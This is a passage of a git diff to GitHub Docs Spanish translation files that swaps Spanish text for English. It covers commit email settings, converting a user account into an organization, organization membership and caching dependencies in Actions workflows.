private, you can use a `no-reply` email address from {% data variables.product.product_name %} as your commit email address. To use your `noreply` email address for commits you push from the command line, use that email address when you set your commit email address in Git. To use your `noreply` address for web-based Git operations, set your commit email address on GitHub and choose to **Keep my email address private**. -También puedes elegir bloquear las confirmaciones que subes desde la línea de comando que muestra tu dirección de correo electrónico personal. Para obtener más información, consulta "[Bloquear las subidas de línea de comando que muestran tu correo electrónico personal](/articles/blocking-command-line-pushes-that-expose-your-personal-email-address)."{% endif %} +You can also choose to block commits you push from the command line that expose your personal email address. For more information, see "[Blocking command line pushes that expose your personal email](/articles/blocking-command-line-pushes-that-expose-your-personal-email-address)."{% endif %} -To ensure that commits are attributed to you and appear in your contributions graph, use an email address that is connected to your account on {% data variables.product.product_location %}{% ifversion fpt or ghec %}, or the `noreply` email address provided to you in your email settings{% endif %}. {% ifversion not ghae %}Para obtener más información, consulta la sección "[Agregar una dirección de correo electrónico a tu cuenta de {% data variables.product.prodname_dotcom %}](/github/setting-up-and-managing-your-github-user-account/adding-an-email-address-to-your-github-account)".{% endif %} +To ensure that commits are attributed to you and appear in your contributions graph, use an email address that is connected to your account on {% data variables.product.product_location %}{% ifversion fpt or ghec %}, or the `noreply` email address provided to you in your email settings{% endif %}. {% ifversion not ghae %}For more information, see "[Adding an email address to your {% data variables.product.prodname_dotcom %} account](/github/setting-up-and-managing-your-github-user-account/adding-an-email-address-to-your-github-account)."{% endif %} {% ifversion fpt or ghec %} @@ -55,9 +54,9 @@ To ensure that commits are attributed to you and appear in your contributions gr {% endnote %} -If you use your `noreply` email address for {% data variables.product.product_name %} to make commits and then [change your username](/articles/changing-your-github-username), those commits will not be associated with your account on {% data variables.product.product_location %}. This does not apply if you're using the ID-based `noreply` address from {% data variables.product.product_name %}. Para obtener más información, consulta [Cambiar tu {% data variables.product.prodname_dotcom %} nombre de usuario](/articles/changing-your-github-username)"{% endif %} +If you use your `noreply` email address for {% data variables.product.product_name %} to make commits and then [change your username](/articles/changing-your-github-username), those commits will not be associated with your account on {% data variables.product.product_location %}. This does not apply if you're using the ID-based `noreply` address from {% data variables.product.product_name %}. For more information, see "[Changing your {% data variables.product.prodname_dotcom %} username](/articles/changing-your-github-username)."{% endif %} -## Configurar tu dirección de correo electrónico de confirmación en {% data variables.product.prodname_dotcom %} +## Setting your commit email address on {% data variables.product.prodname_dotcom %} {% data reusables.files.commit-author-email-options %} @@ -67,11 +66,11 @@ If you use your `noreply` email address for {% data variables.product.product_na {% data reusables.user_settings.select_primary_email %}{% ifversion fpt or ghec %} {% data reusables.user_settings.keeping_your_email_address_private %}{% endif %} -## Configurar tu dirección de correo electrónico de confirmación en Git +## Setting your commit email address in Git -Puedes utilizar el comando `git config` para cambiar la dirección de correo electrónico que asocias a tus confirmaciones de Git. La nueva dirección de correo electrónico que configures será visible en cualquier confirmación futura que subas a {% data variables.product.product_location %} desde la línea de comando. Cualquier confirmación que realices antes de cambiar tu dirección de correo electrónico de confirmaciones estarán todavía asociadas a tu dirección de correo electrónico anterior. +You can use the `git config` command to change the email address you associate with your Git commits. The new email address you set will be visible in any future commits you push to {% data variables.product.product_location %} from the command line. Any commits you made prior to changing your commit email address are still associated with your previous email address. -### Configurar tu dirección de correo electrónico para cada repositorio en tu computadora +### Setting your email address for every repository on your computer {% data reusables.command_line.open_the_multi_os_terminal %} 2. {% data reusables.user_settings.set_your_email_address_in_git %} @@ -85,14 +84,14 @@ Puedes utilizar el comando `git config` para cambiar la dirección de correo ele ``` 4. {% data reusables.user_settings.link_email_with_your_account %} -### Configurar tu dirección de correo electrónico para un repositorio único +### Setting your email address for a single repository {% data variables.product.product_name %} uses the email address set in your local Git configuration to associate commits pushed from the command line with your account on {% data variables.product.product_location %}. -Puedes cambiar la dirección de correo electrónico asociada a las confirmaciones que realizas en un repositorio único. Esto sustituirá tus configuraciones globales de Git en este único repositorio, pero no afectará otros repositorios. +You can change the email address associated with commits you make in a single repository. This will override your global Git config settings in this one repository, but will not affect any other repositories. {% data reusables.command_line.open_the_multi_os_terminal %} -2. Cambia el directorio de trabajo actual al repositorio local donde deseas configurar la dirección de correo electrónico que asocias con tus confirmaciones de Git. +2. Change the current working directory to the local repository where you want to configure the email address that you associate with your Git commits. 3. {% data reusables.user_settings.set_your_email_address_in_git %} ```shell $ git config user.email "email@example.com" diff --git a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization.md b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization.md index 2f70fb5e3a..da87d38dc8 100644 --- a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization.md +++ b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization.md @@ -1,67 +1,69 @@ --- -title: Convertir un usuario en una organización +title: Converting a user into an organization redirect_from: - /articles/what-is-the-difference-between-create-new-organization-and-turn-account-into-an-organization/ - /articles/explaining-the-account-transformation-warning/ - /articles/converting-a-user-into-an-organization - /github/setting-up-and-managing-your-github-user-account/converting-a-user-into-an-organization - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization -intro: Puedes convertir tu cuenta de usuario en una organización. Esto permite que haya más permisos granulares para repositorios que pertenecen a la organización. +intro: You can convert your user account into an organization. This allows more granular permissions for repositories that belong to the organization. versions: fpt: '*' ghes: '*' ghec: '*' topics: - Accounts -shortTitle: Un usuario en una organización +shortTitle: User into an organization --- - {% warning %} -**Advertencia**: Antes de convertir un usuario en una organización, ten en cuenta estos puntos: +**Warning**: Before converting a user into an organization, keep these points in mind: - - **Ya no** podrás iniciar sesión con la cuenta de usuario convertida. - - **Ya no** podrás crear o modificar gists que pertenecen a la cuenta de usuario convertida. - - Una organización **no puede** volver a convertirse en un usuario. - - Las llaves SSH, tokens de OAuth, perfiles de trabajo, reacciones, y el resto de la información asociada con el usuario, **no** se transferirán a la organización. Esto es solo true para la cuenta de usuario que se convertirá, no para cualquiera de los colaboradores de la cuenta del usuario. - - Todas las confirmaciones realizadas a la cuenta del usuario convertida **ya no se asociarán** con esa cuenta. Las confirmaciones **permanecerán** intactas. - - Cualquier bifurcación de un repositorio privado que se haga con la cuenta de usuario convertida, se borrará. + - You will **no longer** be able to sign into the converted user account. + - You will **no longer** be able to create or modify gists owned by the converted user account. + - An organization **cannot** be converted back to a user. + - The SSH keys, OAuth tokens, job profile, reactions, and associated user information, **will not** be transferred to the organization. This is only true for the user account that's being converted, not any of the user account's collaborators. + - Any commits made with the converted user account **will no longer be linked** to that account. The commits themselves **will** remain intact. + - Any forks of private repositories made with the converted user account will be deleted. {% endwarning %} -## Conservar la cuenta de usuario personal y crear una nueva organización manualmente +## Keep your personal user account and create a new organization manually -Si deseas que tu organización tenga el mismo nombre que estás usando actualmente para tu cuenta personal, o si deseas que la información de la cuenta del usuario personal permanezca intacta, debes crear una organización nueva y trasnferirla a tus repositorios en lugar de convertir tu cuenta de usuario en una organización. +If you want your organization to have the same name that you are currently using for your personal account, or if you want to keep your personal user account's information intact, then you must create a new organization and transfer your repositories to it instead of converting your user account into an organization. -1. Para conservar el nombre de la cuenta de usuario para uso personal, [cambia el nombre de tu cuenta de usuario personal](/articles/changing-your-github-username) por uno nuevo y maravilloso. -2. [Crea una nueva organización](/articles/creating-a-new-organization-from-scratch) con el nombre original de tu cuenta de usuario personal. -3. [Transfiere tus repositorios](/articles/transferring-a-repository) a tu nueva cuenta de la organización. +1. To retain your current user account name for your personal use, [change the name of your personal user account](/articles/changing-your-github-username) to something new and wonderful. +2. [Create a new organization](/articles/creating-a-new-organization-from-scratch) with the original name of your personal user account. +3. [Transfer your repositories](/articles/transferring-a-repository) to your new organization account. -## Convertir tu cuenta personal en una organización automáticamente +## Convert your personal account into an organization automatically -Puedes convertir tu cuenta de usuario personal directamente en una organización. Convertir tu cuenta: - - Preserva los repositorios ya que no tienen la necesidad de ser transferidos a otra cuenta manualmente - - Invita automáticamente a que los colaboradores se unan a los equipos con permisos equivalentes a los que tenían antes - {% ifversion fpt or ghec %}- Para las cuentas de usuario en {% data variables.product.prodname_pro %}, automáticamente traslada la facturación [al {% data variables.product.prodname_team %}](/articles/about-billing-for-github-accounts) pago sin la necesidad de volver a ingresar la información de pago, ajustar tu ciclo de facturación o duplicar el pago en ningún momento{% endif %} +You can also convert your personal user account directly into an organization. Converting your account: + - Preserves the repositories as they are without the need to transfer them to another account manually + - Automatically invites collaborators to teams with permissions equivalent to what they had before + {% ifversion fpt or ghec %}- For user accounts on {% data variables.product.prodname_pro %}, automatically transitions billing to [the paid {% data variables.product.prodname_team %}](/articles/about-billing-for-github-accounts) without the need to re-enter payment information, adjust your billing cycle, or double pay at any time{% endif %} -1. Crea una nueva cuenta personal, que usarás para iniciar sesión en GitHub y acceder a la organización y a tus repositorios después de la conversión. -2. [Sal de todas las organizaciones](/articles/removing-yourself-from-an-organization) a las que se ha unido la cuenta de usuario que estás convirtiendo. +1. Create a new personal account, which you'll use to sign into GitHub and access the organization and your repositories after you convert. +2. [Leave any organizations](/articles/removing-yourself-from-an-organization) the user account you're converting has joined. {% data reusables.user_settings.access_settings %} {% data reusables.user_settings.organizations %} -5. En "Transform account" (Transformar cuenta), haz clic en **Turn into an organization** (Convertir en una organización). ![Botón para convertir la organización](/assets/images/help/settings/convert-to-organization.png) -6. En el cuadro de diálogo Account Transformation Warning (Advertencia de transformación de la cuenta), revisa y confirma la confirmación. Ten en cuenta que la información en este cuadro es la misma que la advertencia en la parte superior de este artículo. ![Advertencia de conversión](/assets/images/help/organizations/organization-account-transformation-warning.png) -7. En la página "Transform your user into an organization" (Transformar tu usuario en una organización), debajo de "Choose an organization owner" (Elegir un propietario de la organización), elige la cuenta personal secundaria que creaste en la sección anterior u otro usuario en quien confías para administrar la organización. ![Página Add organization owner (Agregar propietario de la organización)](/assets/images/help/organizations/organization-add-owner.png) -8. Escoge la nueva suscripción de la organización y escribe tu información de facturación si se te solicita. -9. Haz clic en **Create Organization** (Crear organización). -10. Inicia sesión en la nueva cuenta de usuario que creaste en el paso uno, luego usa el cambiador de contexto para acceder a la organización nueva. +5. Under "Transform account", click **Turn into an organization**. + ![Organization conversion button](/assets/images/help/settings/convert-to-organization.png) +6. In the Account Transformation Warning dialog box, review and confirm the conversion. Note that the information in this box is the same as the warning at the top of this article. + ![Conversion warning](/assets/images/help/organizations/organization-account-transformation-warning.png) +7. On the "Transform your user into an organization" page, under "Choose an organization owner", choose either the secondary personal account you created in the previous section or another user you trust to manage the organization. + ![Add organization owner page](/assets/images/help/organizations/organization-add-owner.png) +8. Choose your new organization's subscription and enter your billing information if prompted. +9. Click **Create Organization**. +10. Sign in to the new user account you created in step one, then use the context switcher to access your new organization. {% tip %} -**Sugerencia**: Cuando conviertas una cuenta de usuario en una organización, agregaremos los colaboradores a los repositorios que le pertenecen a la cuenta de la nueva organización como *colaboradores externos*. Luego puedes invitar a los *colaboradores externos* para que se conviertan en miembros de la organización nueva, si así lo deseas. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators)." +**Tip**: When you convert a user account into an organization, we'll add collaborators on repositories that belong to the account to the new organization as *outside collaborators*. You can then invite *outside collaborators* to become members of your new organization if you wish. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators)." {% endtip %} -## Leer más -- "[Configurar equipos](/articles/setting-up-teams)" -{% ifversion fpt or ghec %}- "[Invitar usuarios a unirse a tu organización](/articles/inviting-users-to-join-your-organization)"{% endif %} -- "[Acceder a una organización](/articles/accessing-an-organization)" +## Further reading +- "[Setting up teams](/articles/setting-up-teams)" +{% ifversion fpt or ghec %}- "[Inviting users to join your organization](/articles/inviting-users-to-join-your-organization)"{% endif %} +- "[Accessing an organization](/articles/accessing-an-organization)" diff --git a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository.md b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository.md index cc38e874c5..b13d0f4867 100644 --- a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository.md +++ b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository.md @@ -45,7 +45,7 @@ The repository owner has full control of the repository. In addition to the acti | Delete packages | "[Deleting packages](/packages/learn-github-packages/deleting-a-package)" |{% endif %} | Customize the repository's social media preview | "[Customizing your repository's social media preview](/github/administering-a-repository/customizing-your-repositorys-social-media-preview)" | | Create a template from the repository | "[Creating a template repository](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)" |{% ifversion fpt or ghes or ghae-issue-4864 or ghec %} -| Control access to {% data variables.product.prodname_dependabot_alerts %} alerts for vulnerable dependencies | "[Managing security and analysis settings for your repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)" |{% endif %}{% ifversion fpt or ghec %} +| Control access to {% data variables.product.prodname_dependabot_alerts %} for vulnerable dependencies | "[Managing security and analysis settings for your repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)" |{% endif %}{% ifversion fpt or ghec %} | Dismiss {% data variables.product.prodname_dependabot_alerts %} in the repository | "[Viewing and updating vulnerable dependencies in your repository](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository)" | | Manage data use for a private repository | "[Managing data use settings for your private repository](/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository)"|{% endif %} | Define code owners for the repository | "[About code owners](/github/creating-cloning-and-archiving-repositories/about-code-owners)" | diff --git a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/about-organization-membership.md b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/about-organization-membership.md index fcc9c3f75f..47f926a386 100644 --- a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/about-organization-membership.md +++ b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/about-organization-membership.md @@ -1,6 +1,6 @@ --- -title: Acerca de la membresía de una organización -intro: Puedes convertirte en miembro de una organización para colaborar con los compañeros de trabajo o los colaboradores de código abierto en muchos repositorios a la vez. +title: About organization membership +intro: You can become a member of an organization to collaborate with coworkers or open-source contributors across many repositories at once. redirect_from: - /articles/about-organization-membership - /github/setting-up-and-managing-your-github-user-account/about-organization-membership @@ -12,42 +12,41 @@ versions: ghec: '*' topics: - Accounts -shortTitle: Membresía de la organización +shortTitle: Organization membership --- +An organization owner can invite you to join their organization as a member, billing manager, or owner. An organization owner or member with admin privileges for a repository can invite you to collaborate in one or more repositories as an outside collaborator. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)." -Un propietario de la organización puede invitarte a unirte a su organización como miembro, gerente de facturación o propietario. Un miembro o propietario de la organización con privilegios de administrador para un repositorio puede invitarte a colaborar en uno o más repositorios como un colaborador externo. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)." +You can access organizations you're a member of on your profile page. For more information, see "[Accessing an organization](/articles/accessing-an-organization)." -Puedes acceder a las organizaciones de las que eres miembro en tu página de perfil. Para obtener más información, consulta "[Acceder a una organización](/articles/accessing-an-organization)". +When you accept an invitation to join an organization, the organization owners may be able to see: -Cuando aceptas una invitación para unirte a una organización, el propietario de la organización puede ver lo siguiente: +- Your public profile information +- Your email address +- If you have two-factor authorization enabled +- Repositories you have access to within the organization, and your access level +- Certain activity within the organization +- Country of request origin +- Your IP address -- La información de tu perfil público. -- Tu dirección de correo electrónico. -- Si tienes la autorización de dos factores activada. -- Los repositorios a los que tienes acceso dentro de la organización y tu nivel de acceso. -- Ciertas actividades dentro de la organización. -- País del origen de la solicitud. -- Tu dirección IP. - -Para obtener más información, consulta la {% data variables.product.prodname_dotcom %} Declaración de privacidad. +For more information, see the {% data variables.product.prodname_dotcom %} Privacy Statement. {% note %} - **Nota:** Los propietarios no pueden ver las direcciones IP del miembro en el registro de auditoría de la organización. En el caso de un incidente de seguridad, como una cuenta comprometida o la divulgación involuntaria de datos confidenciales, los propietarios de la organización pueden solicitar los detalles de acceso a los repositorios privados. La información que devolvemos puede incluir tu dirección IP. + **Note:** Owners are not able to view member IP addresses in the organization's audit log. In the event of a security incident, such as an account compromise or inadvertent sharing of sensitive data, organization owners may request details of access to private repositories. The information we return may include your IP address. {% endnote %} -Por defecto, la visibilidad de los miembros de tu organización se establece como privada. Puede elegir publicar miembros individuales de la organización en tu perfil. Para obtener más información, consulta "[Publicar u ocultar los miembros de la organización](/articles/publicizing-or-hiding-organization-membership)". +By default, your organization membership visibility is set to private. You can choose to publicize individual organization memberships on your profile. For more information, see "[Publicizing or hiding organization membership](/articles/publicizing-or-hiding-organization-membership)." {% ifversion fpt or ghec %} -Si tu organización pertenece a una cuenta de empresa, automáticamente eres un miembro de la cuenta de empresa y visible para los propietarios de la cuenta de empresa. Para obtener más información, consulta "[Acerca de las cuentas de empresa](/admin/overview/about-enterprise-accounts)". +If your organization belongs to an enterprise account, you are automatically a member of the enterprise account and visible to enterprise account owners. For more information, see "[About enterprise accounts](/admin/overview/about-enterprise-accounts)." {% endif %} -Puedes dejar una organización en cualquier momento. Para obtener más información, consulta "[Cómo eliminarte de una organización](/articles/removing-yourself-from-an-organization)". +You can leave an organization at any time. For more information, see "[Removing yourself from an organization](/articles/removing-yourself-from-an-organization)." -## Leer más +## Further reading -- "[Acerca de las organizaciones](/articles/about-organizations)" -- "[Administrar tu membresía en organizaciones](/articles/managing-your-membership-in-organizations)" +- "[About organizations](/articles/about-organizations)" +- "[Managing your membership in organizations](/articles/managing-your-membership-in-organizations)" diff --git a/translations/es-ES/content/actions/advanced-guides/caching-dependencies-to-speed-up-workflows.md b/translations/es-ES/content/actions/advanced-guides/caching-dependencies-to-speed-up-workflows.md index 9c943b5d13..603f7c540d 100644 --- a/translations/es-ES/content/actions/advanced-guides/caching-dependencies-to-speed-up-workflows.md +++ b/translations/es-ES/content/actions/advanced-guides/caching-dependencies-to-speed-up-workflows.md @@ -1,7 +1,7 @@ --- -title: Almacenar en caché las dependencias para agilizar los flujos de trabajo -shortTitle: Almacenar dependencias en caché -intro: 'Para hacer que tus flujos de trabajo sean más rápidos y eficientes, puedes crear y usar cachés para las dependencias y otros archivos comúnmente reutilizados.' +title: Caching dependencies to speed up workflows +shortTitle: Caching dependencies +intro: 'To make your workflows faster and more efficient, you can create and use caches for dependencies and other commonly reused files.' redirect_from: - /github/automating-your-workflow-with-github-actions/caching-dependencies-to-speed-up-workflows - /actions/automating-your-workflow-with-github-actions/caching-dependencies-to-speed-up-workflows @@ -15,59 +15,82 @@ topics: - Workflows --- -## Acerca de almacenar en caché las dependencias de flujo de trabajo +## About caching workflow dependencies -Las ejecuciones de flujo de trabajo a menudo reutilizan las mismas salidas o dependencias descargadas de una ejecución a otra. Por ejemplo, las herramientas de administración de paquetes y dependencias como Maven, Gradle, npm y Yarn mantienen una caché local de las dependencias descargadas. +Workflow runs often reuse the same outputs or downloaded dependencies from one run to another. For example, package and dependency management tools such as Maven, Gradle, npm, and Yarn keep a local cache of downloaded dependencies. -Los trabajos en los ejecutores alojados {% data variables.product.prodname_dotcom %} se inician en un entorno virtual limpio y deben descargar dependencias cada vez, lo que provoca una mayor utilización de la red, un tiempo de ejecución más largo y un mayor costo. Para ayudar a acelerar el tiempo que se tarda en volver a crear estos archivos, {% data variables.product.prodname_dotcom %} puede almacenar en caché las dependencias que utilizas con frecuencia en los flujos de trabajo. +Jobs on {% data variables.product.prodname_dotcom %}-hosted runners start in a clean virtual environment and must download dependencies each time, causing increased network utilization, longer runtime, and increased cost. To help speed up the time it takes to recreate these files, {% data variables.product.prodname_dotcom %} can cache dependencies you frequently use in workflows. -Para almacenar en caché las dependencias de un trabajo, deberás usar la acción de `caché` de {% data variables.product.prodname_dotcom %}. La acción recupera una caché identificada por una clave única. Para más información, consulta [`actions/cache`](https://github.com/actions/cache). +To cache dependencies for a job, you'll need to use {% data variables.product.prodname_dotcom %}'s `cache` action. The action retrieves a cache identified by a unique key. For more information, see [`actions/cache`](https://github.com/actions/cache). -Si estás guardando gemas de Ruby en caché, mejor consider utilizar la acción mantenida de Ruby, la cual puede guardar paquetes de instalación en caché en el inicio. Para obtener más información, consulta la sección [`ruby/setup-ruby`](https://github.com/ruby/setup-ruby#caching-bundle-install-automatically). +If you are caching the package managers listed below, consider using the respective setup-* actions, which require almost zero configuration and are easy to use. -Para guardar las dependencias en caché y restablecerlas para npm, Yarn o pnpm, puedes utilizar la [acción de `actions/setup-node`](https://github.com/actions/setup-node). - -El guardado en caché para Gradle y Maven está disponible con [la acción `actions/setup-java`](https://github.com/actions/setup-java). + + + + + + + + + + + + + + + + + + + + + + + + + +
Package managerssetup-* action for caching
npm, yarn, pnpmsetup-node
pip, pipenvsetup-python
gradle, mavensetup-java
ruby gemssetup-ruby
{% warning %} -**Advertencia**: Te recomendamos que no almacenes ninguna información confidencial en la caché de los repositorios públicos. Por ejemplo, la información confidencial puede incluir tokens de acceso o credenciales de inicio de sesión almacenados en un archivo en la ruta de la caché. Además, los programas de interfaz de línea de comando (CLI) como `docker login` pueden guardar las credenciales de acceso en un archivo de configuración. Cualquier persona con acceso de lectura puede crear una solicitud de extracción en un repositorio y acceder a los contenidos de la caché. Las bifurcaciones de un repositorio también pueden crear solicitudes de extracción en la rama base y acceder a las cachés en la rama base. +**Warning**: We recommend that you don't store any sensitive information in the cache of public repositories. For example, sensitive information can include access tokens or login credentials stored in a file in the cache path. Also, command line interface (CLI) programs like `docker login` can save access credentials in a configuration file. Anyone with read access can create a pull request on a repository and access the contents of the cache. Forks of a repository can also create pull requests on the base branch and access caches on the base branch. {% endwarning %} -## Comparar artefactos y caché de dependencias +## Comparing artifacts and dependency caching -Los artefactos y el almacenamiento en caché son similares porque brindan la posibilidad de almacenar archivos en {% data variables.product.prodname_dotcom %}, pero cada característica ofrece diferentes casos de uso y no se puede usar indistintamente. +Artifacts and caching are similar because they provide the ability to store files on {% data variables.product.prodname_dotcom %}, but each feature offers different use cases and cannot be used interchangeably. -- Usa el almacenamiento en caché cuando quieras reutilizar archivos que no cambien a menudo entre trabajos o ejecuciones de flujo de trabajo. -- Usa artefactos cuando quieras guardar los archivos producidos por un trabajo para ver después de que haya finalizado un flujo de trabajo. Para obtener más información, consulta "[Conservar datos de flujo de trabajo mediante artefactos](/github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)". +- Use caching when you want to reuse files that don't change often between jobs or workflow runs. +- Use artifacts when you want to save files produced by a job to view after a workflow has ended. For more information, see "[Persisting workflow data using artifacts](/github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)." -## Restricciones para acceder a una caché +## Restrictions for accessing a cache -Con la `v2` de la acción `cache`, puedes acceder al caché en en los flujos de trabajo que cualquier evento que tenga un `GITHUB_REF` active. Si estás utilizando la `v1` de la acción `cache`, únicamente podrás acceder al caché en los flujos de trabajo que activen los eventos `push` y `pull_request`, con excepción de aquellos eventos `pull_request` `closed`. Para obtener más información, consulta "[Eventos que activan los flujos de trabajo](/actions/reference/events-that-trigger-workflows)". +With `v2` of the `cache` action, you can access the cache in workflows triggered by any event that has a `GITHUB_REF`. If you are using `v1` of the `cache` action, you can only access the cache in workflows triggered by `push` and `pull_request` events, except for the `pull_request` `closed` event. For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)." -Un flujo de trabajo puede acceder y restaurar una caché creada en la rama actual, la rama base (incluidas las ramas base de los repositorios bifurcados) o la rama predeterminada (por lo general `main`). Por ejemplo, un caché creado en la rama predeterminada sería accesible desde cualquier solicitud de cambios. También, si la rama `feature-b` tiene la rama base `feature-a`, un flujo de trabajo activado en `feature-b` tendría acceso a las cachés creadas en la rama predeterminada (`main`), `feature-a` y `feature-b`. +A workflow can access and restore a cache created in the current branch, the base branch (including base branches of forked repositories), or the default branch (usually `main`). For example, a cache created on the default branch would be accessible from any pull request. Also, if the branch `feature-b` has the base branch `feature-a`, a workflow triggered on `feature-b` would have access to caches created in the default branch (`main`), `feature-a`, and `feature-b`. -Las restricciones de acceso proporcionan aislamiento y seguridad de caché al crear una frontera lógica entre las ramas diferentes. Por ejemplo, un caché creado para la rama `feature-a` (con la base `main`) no sería accesible para una solicitud de extracción para la rama `feature-b` (con la base `main`). +Access restrictions provide cache isolation and security by creating a logical boundary between different branches. For example, a cache created for the branch `feature-a` (with the base `main`) would not be accessible to a pull request for the branch `feature-b` (with the base `main`). -Los flujos de trabajo múltiples dentro de un repositorio comparten entradas de caché. Puede accederse a un caché que se crea para una rama dentro de un flujo de trabajo y se puede establecer desde otro flujo de trabajo para el mismo repositorio y rama. +Multiple workflows within a repository share cache entries. A cache created for a branch within a workflow can be accessed and restored from another workflow for the same repository and branch. -## Usando la acción `cache` +## Using the `cache` action -La acción `cache` intentará restaurar una memoria caché basada en la `key` (clave) que proporciones. Cuando la acción encuentra una memoria caché, la acción restaura los archivos almacenados en la caché al `path` (ruta) que configures. +The `cache` action will attempt to restore a cache based on the `key` you provide. When the action finds a cache, the action restores the cached files to the `path` you configure. -Si no hay una coincidencia exacta, la acción crea una nueva entrada de caché si el trabajo se completa correctamente. La nueva memoria caché usará la `key` que proporcionaste y contiene los archivos en el directorio del `path`. +If there is no exact match, the action creates a new cache entry if the job completes successfully. The new cache will use the `key` you provided and contains the files in the `path` directory. -De manera opcional, puedes proporcionar una lista de `restore-keys` para usar cuando la `key` no coincida con una memoria caché existente. Una lista de `restore-keys` es útil cuando estás restaurando una caché desde otra rama porque `restore-keys` pueden coincidir parcialmente con claves de caché. Para obtener más información acerca de la coincidencia `restore-keys`, consulta [Hacer coincidir una clave de caché](#matching-a-cache-key)". +You can optionally provide a list of `restore-keys` to use when the `key` doesn't match an existing cache. A list of `restore-keys` is useful when you are restoring a cache from another branch because `restore-keys` can partially match cache keys. For more information about matching `restore-keys`, see "[Matching a cache key](#matching-a-cache-key)." -Para más información, consulta [`actions/cache`](https://github.com/actions/cache). +For more information, see [`actions/cache`](https://github.com/actions/cache). -### Parámetros de entrada para la acción `chache` +### Input parameters for the `cache` action -- `key`: **Obligatorio** La clave que se crea cuando se guarda una memoria caché y la clave utilizada para buscar una caché. Puede ser cualquier combinación de variables, valores de contexto, cadenas estáticas y funciones. Las claves tienen una longitud máxima de 512 caracteres y las claves más largas que la longitud máxima provocarán un error en la acción. -- `path`: **Obligatorio** La ruta del archivo en el ejecutor para almacenar en caché o restaurar. La ruta debe ser absoluta o relativa al directorio de trabajo. - - Las rutas pueden ser tanto directorios o solo archivos, y los patrones estilo glob son compatibles. - - Con la `v2` de la acción `cache`, puedes especificar una ruta sencilla o puedes agregar rutas múltiples en líneas separadas. Por ejemplo: +- `key`: **Required** The key created when saving a cache and the key used to search for a cache. Can be any combination of variables, context values, static strings, and functions. Keys have a maximum length of 512 characters, and keys longer than the maximum length will cause the action to fail. +- `path`: **Required** The file path on the runner to cache or restore. The path can be an absolute path or relative to the working directory. + - Paths can be either directories or single files, and glob patterns are supported. + - With `v2` of the `cache` action, you can specify a single path, or you can add multiple paths on separate lines. For example: ``` - name: Cache Gradle packages uses: actions/cache@v2 @@ -76,16 +99,16 @@ Para más información, consulta [`actions/cache`](https://github.com/actions/ca ~/.gradle/caches ~/.gradle/wrapper ``` - - Con la `v1` de la acción `cache`, solo se puede utilizar una ruta única, la cual debe ser un directorio. No puedes almacenar en caché un archivo único. -- `restore-keys`: **Opcional** Una lista ordenada de claves alternativas que se usan para encontrar la caché si no se ha producido ningún hit de caché para `key`. + - With `v1` of the `cache` action, only a single path is supported and it must be a directory. You cannot cache a single file. +- `restore-keys`: **Optional** An ordered list of alternative keys to use for finding the cache if no cache hit occurred for `key`. -### Parámetros de salida para la acción `cache` +### Output parameters for the `cache` action -- `cache-hit`: Un valor booleano para indicar que se encontró una coincidencia exacta para la llave. +- `cache-hit`: A boolean value to indicate an exact match was found for the key. -### Ejemplo de uso para la acción `cache` +### Example using the `cache` action -Este ejemplo crea una nueva memoria caché cuando los paquetes en el archivo `package-lock.json` cambian o cuando cambia el sistema operativo del ejecutor. La clave de caché usa contextos y expresiones para generar una clave que incluye el sistema operativo del ejecutor y un hash SHA-256 del archivo `package-lock.json`. +This example creates a new cache when the packages in `package-lock.json` file change, or when the runner's operating system changes. The cache key uses contexts and expressions to generate a key that includes the runner's operating system and a SHA-256 hash of the `package-lock.json` file. {% raw %} ```yaml{:copy} @@ -124,23 +147,23 @@ jobs: ``` {% endraw %} -Cuando `key` coincide con una caché existente, se denomina hit de caché y la acción restaura los archivos almacenados en la caché al directorio `path`. +When `key` matches an existing cache, it's called a cache hit, and the action restores the cached files to the `path` directory. -Cuando `key` no coincide con una caché existente, se denomina una falta de caché y se crea una nueva memoria caché si el trabajo se completa correctamente. Cuando se produce una falta de caché, la acción busca claves alternativas llamadas `restore-keys`. +When `key` doesn't match an existing cache, it's called a cache miss, and a new cache is created if the job completes successfully. When a cache miss occurs, the action searches for alternate keys called `restore-keys`. -1. Si proporcionas `restore-Keys`, la acción `cache` busca cualquier caché en forma secuencial que coincida 